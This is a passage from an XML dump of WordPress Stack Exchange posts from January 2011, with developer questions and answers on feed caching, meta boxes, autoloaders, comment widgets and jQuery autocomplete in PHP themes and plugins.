$category-&amp;gt;description,&quot;.&quot;,300)+1);&#xA;        else echo  $category-&amp;gt;description;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-08T09:57:23.180" Title="How to obtain the html stripped version of $category-&gt;description?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="6573" PostTypeId="2" ParentId="6569" CreationDate="2011-01-08T06:43:03.287" Score="1" ViewCount="" Body="&lt;h3&gt;The default lifetime of a transient cached feed is 12 hours.  It can be changed by hooking in to the wp_feed_cache_transient_lifetime filter.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This will change the feed cache to update every 10 minutes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_feed_cache_transient_lifetime', &#xA;             create_function('$a', 'return 600;') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also the code you copied and pasted is pretty outdated.  It contains deprecated functions and does not take advantage of the Widgets API.    &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/fetch_rss&quot; rel=&quot;nofollow&quot;&gt;fetch_rss&lt;/a&gt; was replaced with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/fetch_feed&quot; rel=&quot;nofollow&quot;&gt;fetch_feed&lt;/a&gt;. &lt;code&gt;wp_specialchars()&lt;/code&gt; was replaced with &lt;code&gt;esc_html()&lt;/code&gt; -&gt; see &lt;a href=&quot;http://comox.textdrive.com/pipermail/wp-hackers/2009-May/026242.html&quot; rel=&quot;nofollow&quot;&gt;WP Hackers Discussion&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;Widgets API&lt;/a&gt; is very well documented and with a few modifications your code could take advantage of the new features.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-08T06:43:03.287" />
  <row Id="6574" PostTypeId="1" CreationDate="2011-01-08T06:44:13.770" Score="1" ViewCount="183" Body="&lt;p&gt;I'm looking to hire someone for ongoing work. Where should I be looking? I posted on Craigslist, oDesk, and Freelancer.  I'm also going to check out CodePoet.com and jobs.wordpress.net. &lt;/p&gt;&#xA;" OwnerUserId="2207" LastActivityDate="2011-01-10T03:23:31.073" Title="What's the best place to hire a freelance (contract) WordPress developer?" Tags="&lt;plugin-development&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="6575" PostTypeId="2" ParentId="6557" CreationDate="2011-01-08T07:10:59.080" Score="3" ViewCount="" Body="&lt;h3&gt;The question / answer you are referring to was &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms&quot;&gt;Tips for using WordPress as a CMS&lt;/a&gt;.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The screenshots posted in that answer were created using the &lt;code&gt;register_meta_box_cb&lt;/code&gt; argument that is available to for custom post types.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;register_meta_box_cb must specify a callback function that contains the code for the meta box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the meta box you can use the WordPress built in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box function&lt;/a&gt; which also requires a function to save the entered data when the post is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some example code that I created to add 2 custom meta boxes to my portfolio post type I use on my personal website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Projects&quot; post type I created contained this argument:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'register_meta_box_cb' =&amp;gt; 'c3m_project_meta',&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The first function below is the call back function for register_meta_box_cb.  The following 2 output the html for the meta boxes on the add post page and the last 2 save the entered data.&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function c3m_project_meta() {&#xA;        add_meta_box('_c3m_project_url', __('Enter Website Url') , 'c3m_project_url', 'project', 'side', 'low');&#xA;        add_meta_box('_c3m_project_work', __('Enter Work Done on Project') , 'c3m_project_work', 'project', 'side', 'low');&#xA;&#xA;        }&#xA;&#xA;&#xA;    function c3m_project_url($post) {&#xA;        global $post;&#xA;        echo  '&amp;lt;input type=&quot;hidden&quot; name=&quot;banner-buttonmeta_noncename&quot; id=&quot;banner-buttonmeta_noncename&quot; value=&quot;' .&#xA;        wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';&#xA;        $projecturl = get_post_meta($post-&amp;gt;ID, '_projecturl', true);&#xA;        echo '&amp;lt;input type=&quot;text&quot; name=&quot;_projecturl&quot; value=&quot;' . $projecturl . '&quot; class=&quot;widefat&quot; /&amp;gt;' ; &#xA;        }&#xA;&#xA;    function c3m_project_work($post) {&#xA;        global $post;&#xA;        echo  '&amp;lt;input type=&quot;hidden&quot; name=&quot;banner-buttonmeta_noncename&quot; id=&quot;banner-buttonmeta_noncename&quot; value=&quot;' .&#xA;        wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';&#xA;        $projectwork = get_post_meta($post-&amp;gt;ID, '_projectwork', true);&#xA;        echo '&amp;lt;input type=&quot;text&quot; name=&quot;_projectwork&quot; value=&quot;' . $projectwork . '&quot; class=&quot;widefat&quot; /&amp;gt;' ; &#xA;        }&#xA;&#xA;&#xA;    add_action('admin_init', 'c3m_project_meta');&#xA;&#xA;&#xA;&#xA;    function c3m_save_project_meta( $post_id , $post ) { &#xA;&#xA;        if ( !wp_verify_nonce( $_POST [ 'banner-buttonmeta_noncename' ], plugin_basename( __FILE__ ) )) { return $post -&amp;gt;ID; &#xA;&#xA;        }&#xA;&#xA;        if ( !current_user_can( 'edit_post' , $post -&amp;gt;ID )) return $post -&amp;gt;ID; &#xA;        $c3m_projecturl [ '_projecturl' ] = $_POST [ '_projecturl' ]; &#xA;                    foreach ( $c3m_projecturl as $key =&amp;gt; $value ) { &#xA;                    if ( $post -&amp;gt;post_type == 'revision' ) return ; &#xA;&#xA;                    $value = implode( ',' , ( array ) $value );&#xA;                    if (get_post_meta( $post -&amp;gt;ID, $key , FALSE)) { &#xA;                    update_post_meta( $post -&amp;gt;ID, $key , $value ); } else { &#xA;                    add_post_meta( $post -&amp;gt;ID, $key , $value ); } if (! $value ) delete_post_meta( $post -&amp;gt;ID, $key ); &#xA;&#xA;                    }&#xA;&#xA;        $c3m_projectwork [ '_projectwork' ] = $_POST [ '_projectwork' ]; &#xA;                    foreach ( $c3m_projectwork as $key =&amp;gt; $value ) { &#xA;                    if ( $post -&amp;gt;post_type == 'revision' ) return ; &#xA;&#xA;                    $value = implode( ',' , ( array ) $value );&#xA;                    if (get_post_meta( $post -&amp;gt;ID, $key , FALSE)) { &#xA;                    update_post_meta( $post -&amp;gt;ID, $key , $value ); } else { &#xA;                    add_post_meta( $post -&amp;gt;ID, $key , $value ); } if (! $value ) delete_post_meta( $post -&amp;gt;ID, $key ); &#xA;&#xA;                    }&#xA;        }&#xA;&#xA;   add_action( 'save_post' , 'c3m_save_project_meta' , 1, 2); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-08T07:10:59.080" CommentCount="1" />
  <row Id="6576" PostTypeId="1" CreationDate="2011-01-04T18:32:38.327" Score="0" ViewCount="50" Body="&lt;p&gt;I manage a wordpress installation that handles quite a bit of traffic. We use WP-Cache and recently, the owner noticed there was 250 comments on 1 post, but only one comment was showing. Here is a screenshot: &lt;a href=&quot;http://cl.ly/3rtk&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/3rtk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the comments can be seen from the control panel of WP. We are also using WP Thread Comment for comment threading. Anyone have this issue? Is there a constraint some where on the # of comments that I'm just not seeing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2287" LastActivityDate="2011-01-10T00:00:56.820" Title="WordPress comments just vanished even tho there are about 250+ of them. Where did they go?" Tags="&lt;comments&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="6577" PostTypeId="2" ParentId="6572" CreationDate="2011-01-08T09:57:23.180" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strip_tags($category-&amp;gt;description)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the &lt;a href=&quot;http://php.net/manual/en/function.strip-tags.php&quot; rel=&quot;nofollow&quot;&gt;reference page&lt;/a&gt; for the strip_tags function&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2011-01-08T09:57:23.180" CommentCount="1" />
  <row Id="6579" PostTypeId="1" CreationDate="2011-01-08T11:25:06.927" Score="1" ViewCount="221" Body="&lt;p&gt;Ok, I'm going to try to explain this as simple as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to modify a plugin called &lt;a href=&quot;https://code.google.com/p/smart-lencioni-image-resizer/downloads/detail?name=slir-2.0b3.7z&quot; rel=&quot;nofollow&quot;&gt;smart-lencioni-image-resizer&lt;/a&gt; v2.0. to be used in WP-Multisite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to display an image through SLIR using the following URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://subsite.mainsite.no/wp-content/plugins/wp-filebrowser/slir/?w=90&amp;amp;h=90&amp;amp;c=1:1&amp;amp;i=http://bekkelaget.stiengenterprises.no/files/seniorsenter/DSC_3535.jpg&quot; rel=&quot;nofollow&quot;&gt;http://subsite.mainsite.no/wp-content/plugins/wp-filebrowser/slir/?w=90&amp;amp;h=90&amp;amp;c=1:1&amp;amp;i=http://bekkelaget.stiengenterprises.no/files/seniorsenter/DSC_3535.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this successfully in v.1.4.2. But v2.0 is using a different method for including files. The &lt;code&gt;index.php&lt;/code&gt; file looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __autoload($className)&#xA;{&#xA;  var_dump($className);  &#xA;    require_once strtolower($className) . '.class.php';&#xA;}&#xA;&#xA;new SLIR();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, where ever I try to include WP header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;strong&gt;Warning: require_once(translation_entry.class.php) [function.require-once]: failed to open stream: No such file or directory in I:\Development\wamp\www\mysite\wp-content\plugins\wp-filebrowser\slir\index.php on line 43*&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 43 in the &lt;code&gt;index.php&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once strtolower($className) . '.class.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason the &lt;code&gt;__autoload&lt;/code&gt; function makes WP look for files in the SLIR directory. This is of cours wrong :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;I found one solution on the web that kind of works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __autoload($className)&#xA;{&#xA;  if(file_exists(strtolower($className) . '.class.php')) {&#xA;    require_once strtolower($className) . '.class.php';&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows WP header file to be loaded. But for some reason it loads &lt;code&gt;mainsite.no&lt;/code&gt; and drops executing the URL I added at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way I can solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an .htaccess file in the SLIR folder. The file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteRule . index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Prevent viewing of the error log file in its default location&#xA;&amp;lt;Files slir-error-log&amp;gt;&#xA;Order Deny,Allow&#xA;Deny from All&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could it be that when I include the WP header file, it ignors the .htaccess file from SLIR?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-01-08T12:54:16.493" LastActivityDate="2011-01-08T16:37:22.033" Title="__autoload in a plugin throws an error in WP - not able to locate translation_entry.class.php" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="6580" PostTypeId="2" ParentId="6579" CreationDate="2011-01-08T13:54:23.990" Score="1" ViewCount="" Body="&lt;p&gt;autoload gets fired whenever class_exists() gets called. In your autoloader, add a check to verify that the file exists before including it.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-01-08T13:54:23.990" CommentCount="1" />
  <row Id="6581" PostTypeId="1" AcceptedAnswerId="6596" CreationDate="2011-01-08T13:57:04.320" Score="1" ViewCount="249" Body="&lt;p&gt;I couldn't seem to find a plugin with both functionality so I created mine(not a plugin) thru the help of my old friend google. My code works but there's a small glitch, the title of the posts are the same for all recent comments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comments = get_comments('status=approve&amp;amp;number=5'); ?&amp;gt;&#xA;&amp;lt;ul&amp;gt; &amp;lt;?php &#xA;foreach ($comments as $comment) { &#xA;    $post_obj = get_post($comment-&amp;gt;post_id); &#xA;    $title = $post_obj-&amp;gt;post_title; ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;?php&#xA;        echo get_avatar( $comment, '42' );&#xA;        echo strip_tags($comment-&amp;gt;comment_author); ?&amp;gt;&amp;amp;nbsp;&amp;lt;?php&#xA;        echo wp_html_excerpt( $comment-&amp;gt;comment_content, 35 ); ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($comment-&amp;gt;post_id); ?&amp;gt;&quot; rel=&quot;external nofollow&quot; title=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $title; ?&amp;gt; &amp;lt;/a&amp;gt; &#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php }  ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;Here's the current code. Edited according to Ambitious Amoeba.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comments = get_comments('status=approve&amp;amp;number=5'); ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php foreach ($comments as $comment) { ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;?php&#xA;        $title = get_the_title($comment-&amp;gt;post_ID);&#xA;        echo get_avatar( $comment, '42' );&#xA;        echo strip_tags($comment-&amp;gt;comment_author);&#xA;        ?&amp;gt;&amp;amp;nbsp;&amp;lt;?php&#xA;        echo wp_html_excerpt( $comment-&amp;gt;comment_content, 35 ); ?&amp;gt;&#xA;        &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($comment-&amp;gt;post_ID); ?&amp;gt;&quot; rel=&quot;external nofollow&quot; title=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $title; ?&amp;gt; &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php }  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still getting the same result. All with the same title. Though it changes the post title according what is currently viewed.&lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2011-01-09T09:58:27.050" LastActivityDate="2011-01-09T10:09:40.183" Title="Display recent comments with gravatar and excerpts?" Tags="&lt;comments&gt;" AnswerCount="2" />
  <row Id="6582" PostTypeId="1" AcceptedAnswerId="6595" CreationDate="2011-01-08T14:03:41.743" Score="1" ViewCount="260" Body="&lt;p&gt;I want to use dd belatedpng so the PNG's on my website appear properly on IE. The script I've always used on non-wordpress websites was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if lt IE 7 ]&amp;gt;&#xA;    &amp;lt;script src=&quot;js/dd_belatedpng.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script&amp;gt; DD_belatedPNG.fix('img, .ir'); &amp;lt;/script&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that I need to use it on a Wordpress website, I'm trying to find a way of adding script using enqueue script, although I don't like it at all. At the end of the day, the theme is only going to be used on a single website, I'd prefer to hardcode the scripts path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, is there a way of adding IE conditionals to enqueue script and or register script?&lt;/p&gt;&#xA;" OwnerUserId="2169" LastActivityDate="2011-01-08T18:52:32.363" Title="Enqueue script only for IE" Tags="&lt;wp-enqueue-script&gt;" AnswerCount="2" />
  <row Id="6583" PostTypeId="2" ParentId="6566" CreationDate="2011-01-08T14:05:47.753" Score="0" ViewCount="" Body="&lt;p&gt;That field is not filtered in template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way would be to filter &lt;code&gt;get_terms()&lt;/code&gt; on that page (but I am not entirely sure that won't break something):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_head-edit-tags.php', 'admin_edit_tags' );&#xA;&#xA;function admin_edit_tags() {&#xA;&#xA;    add_filter( 'get_terms', 'admin_trim_category_description', 10, 2 );&#xA;}&#xA;&#xA;function admin_trim_category_description( $terms, $taxonomies ) {&#xA;&#xA;&#xA;    if( 'category' != $taxonomies[0] )&#xA;        return $terms;&#xA;&#xA;    foreach( $terms as $key=&amp;gt;$term )&#xA;        $terms[$key]-&amp;gt;description = substr( $term-&amp;gt;description, 0, 50 );&#xA;&#xA;    return $terms;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-08T14:05:47.753" CommentCount="2" />
  <row Id="6584" PostTypeId="2" ParentId="6571" CreationDate="2011-01-08T14:20:53.080" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is WordPress a right choice for my&#xA;  requirements? Is it only for blogging&#xA;  or can be used for any kind of site?&#xA;  (corporate, portfolio, catalog,&#xA;  personal info etc.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;WordPress can absolutely be used for any kind of site. But note that while things like post and pages are ready out of the box and simple to use, it takes some additional development if you want to implement your own types of content with more complex data ( &lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;Custom Post Types&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will I need some kind of plugins for&#xA;  SEO and displaying product catalog?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;How can I remove the blog look (posts/dates/comments etc.) from the site?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is number of highly functional and free SEO plugins available. &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-seo/&quot; rel=&quot;nofollow&quot;&gt;WordPres SEO by Yoast&lt;/a&gt; gets a lot of traction lately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Displaying content mostly depends on theme. There is insane amount of themes available ( starting with &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;official repository&lt;/a&gt; and beyond ), but as above - it may take some development if you need to implement something more complex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-08T14:20:53.080" />
  <row Id="6585" PostTypeId="2" ParentId="6569" CreationDate="2011-01-08T14:28:24.623" Score="1" ViewCount="" Body="&lt;p&gt;Why not just use native RSS widget?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also while Chris_O is absolutely right on filter to use, it is better practice to change cache time for specific feed URL rather than globally:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_feed_cache_transient_lifetime', 'speed_up_feed', 10, 2 );&#xA;&#xA;function speed_up_feed( $interval, $url ) {&#xA;&#xA;    if( 'http://mysite.org/feed' == $url )&#xA;        return 3600;&#xA;&#xA;    return $interval;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-08T14:28:24.623" />
  <row Id="6586" PostTypeId="2" ParentId="6582" CreationDate="2011-01-08T14:45:23.693" Score="1" ViewCount="" Body="&lt;p&gt;Enqueue doesn't support output of more complex blocks, only script files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best approach for this would be small function that echoes this block (conditionally if you don't need it on every single page), hooked to &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_head&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-08T14:45:23.693" />
  <row Id="6587" PostTypeId="2" ParentId="6574" CreationDate="2011-01-08T15:27:28.653" Score="2" ViewCount="" Body="&lt;p&gt;Another good WP freelance site is &lt;a href=&quot;http://www.wpquestions.com&quot; rel=&quot;nofollow&quot;&gt;WPQuestions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-01-08T15:27:28.653" />
  <row Id="6588" PostTypeId="2" ParentId="2680" CreationDate="2011-01-08T16:08:02.537" Score="4" ViewCount="" Body="&lt;p&gt;As you suggest, the most elegant approach is when your CSS overrides are loaded after the CSS injected by the plugins. This is quite easy to achieve - you just need to make sure that your &lt;code&gt;header.php&lt;/code&gt; calls &lt;code&gt;wp_head()&lt;/code&gt; before it references your style sheet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;    &amp;lt;!-- all the usual preamble stuff goes here --&amp;gt;&#xA;&#xA;    &amp;lt;?php wp_head(); ?&amp;gt;&#xA;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="179" LastActivityDate="2011-01-08T16:08:02.537" CommentCount="2" />
  <row Id="6589" PostTypeId="1" CreationDate="2011-01-08T16:16:32.373" Score="0" ViewCount="125" Body="&lt;p&gt;I've installed my second version of WordPress today, but i'm getting a rather annoying error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed it before on another website of mine, and that one is working just fine. I've installed this one the same way (via installatron or something like that), an option my host has given me to easily install stuff like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much everything is working like it should, but when I try to update the permalink, it gives an error upon pressing &quot;Save changes&quot;. As it tries to reload the page to its new settings, it says something like &quot;The page was reinitialized while refreshing it&quot; (it's in Dutch here, don't know the exact error).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried copying the 'options-permalink.php' from the WordPress that is working, but that didnt seem to matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also re-installed WordPress allready, but that didnt help either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's too much of a hasstle getting the page to work, I dont mind going into one of the files manually changing it. I just dont know where to look for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help is much appriciated.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-08T16:16:32.373" Title="Can't update permalinks to correct settings" Tags="&lt;permalinks&gt;" CommentCount="2" />
  <row Id="6590" PostTypeId="1" AcceptedAnswerId="6598" CreationDate="2011-01-08T16:18:53.713" Score="0" ViewCount="1081" Body="&lt;p&gt;I'm using this autocomplete script &lt;a href=&quot;https://github.com/agarzola/jQueryAutocompletePlugin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/agarzola/jQueryAutocompletePlugin&lt;/a&gt; within my wordpress theme. I have a form in a page where the user could specify some tags.&#xA;Actually, this is the code I'm using and it's working good.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;script&amp;gt;&#xA;        jQuery(function() {&#xA;            var data = '&amp;lt;?php global $wpdb; $search_tags = $wpdb-&amp;gt;&#xA;                   get_results(&quot;SELECT name FROM $wpdb-&amp;gt;terms&quot;); &#xA;                      foreach ($search_tags as $mytag){ echo $mytag-&amp;gt;name. &quot; &quot;; } ?&amp;gt;'.split(&quot; &quot;);&#xA;         $(&quot;#tags&quot;).autocomplete(data,{multiple: true});&#xA;            });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the problem is,  this kind of query puts all the tags inside an array when I load the page. This could work if you have 100 tags, but we have a lot more. The script has also an autocomplete from remote script option as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery().ready(function() {&#xA;    $(&quot;#tags&quot;).autocomplete(&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/get-tags.php&quot;, &#xA;    {&#xA;        width: 260,&#xA;        matchContains: true,&#xA;        selectFirst: false,&#xA;        multiple: true&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This must activate autocomplete as the user types.&#xA;This is the code for get-tags.php (I put the file in my theme root)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;include_once(‘../../../wp-config.php’);&#xA;include_once(‘../../../wp-load.php’);&#xA;include_once(‘../../../wp-includes/wp-db.php’);&#xA;&#xA;&#xA;global $wpdb; &#xA;    $search_tags = $wpdb-&amp;gt;get_results(&quot;SELECT name FROM $wpdb-&amp;gt;terms&quot;); &#xA;        foreach ($search_tags as $mytag)&#xA;            { echo $mytag-&amp;gt;name. &quot; &quot;; }&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried everything and searched online for hours but I didn't find a solution on how to call the get-tags.php, it gives me an internal 500 error and the autocomplete doesn't work anymore.&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-01-09T18:52:26.703" Title="jQuery Autocomplete in Wordpress" Tags="&lt;ajax&gt;&lt;autocomplete&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="6591" PostTypeId="2" ParentId="6579" CreationDate="2011-01-08T16:37:22.033" Score="2" ViewCount="" Body="&lt;p&gt;Denis was pointing to the right direction, but just looking for if the file exists is not the whole job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do this by example, but you need to do this for every file that is unable to load:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The class that is unable to get auto-loaded, locate it. Class is &lt;code&gt;Translation_Entry&lt;/code&gt; and it is located in &lt;code&gt;/wp-includes/pomo/entry.php&lt;/code&gt;. That is some other library and not a core class.&lt;/li&gt;&#xA;&lt;li&gt;You need to extend your autoloader to either deal with all cases -or- to ensure that &lt;code&gt;wp-load.php&lt;/code&gt; got included before or while you register your autoloader.&lt;/li&gt;&#xA;&lt;li&gt;Your autoloader is designed to load only classes bases on a specific scheme. And your autoloader is totally incompatible to any other autoloader. Instead, make use of &lt;a href=&quot;http://www.php.net/manual/en/function.spl-autoload-register.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;spl_autoload_register()&lt;/code&gt;&lt;/a&gt; and register your base class autoloader. Then you can add another one upfront that is dealing with the other classes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've written some sample code that might not work, it's untested. You might not even register multiple autoloaders in the end but just one (that calls the different subroutines instead), so this is just a quick written mock-up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyAutoloader {&#xA;    public static function bootstrap() {&#xA;        spl_autoload_register(__CLASS__.'::loaderPomo');&#xA;        spl_autoload_register(__CLASS__.'::loaderWpClasses');&#xA;    }&#xA;    public static function getWpClassFile($name) {&#xA;        return sprintf('%s.class.php', strtolower($name));&#xA;    }&#xA;    public static function isWpClass($name) 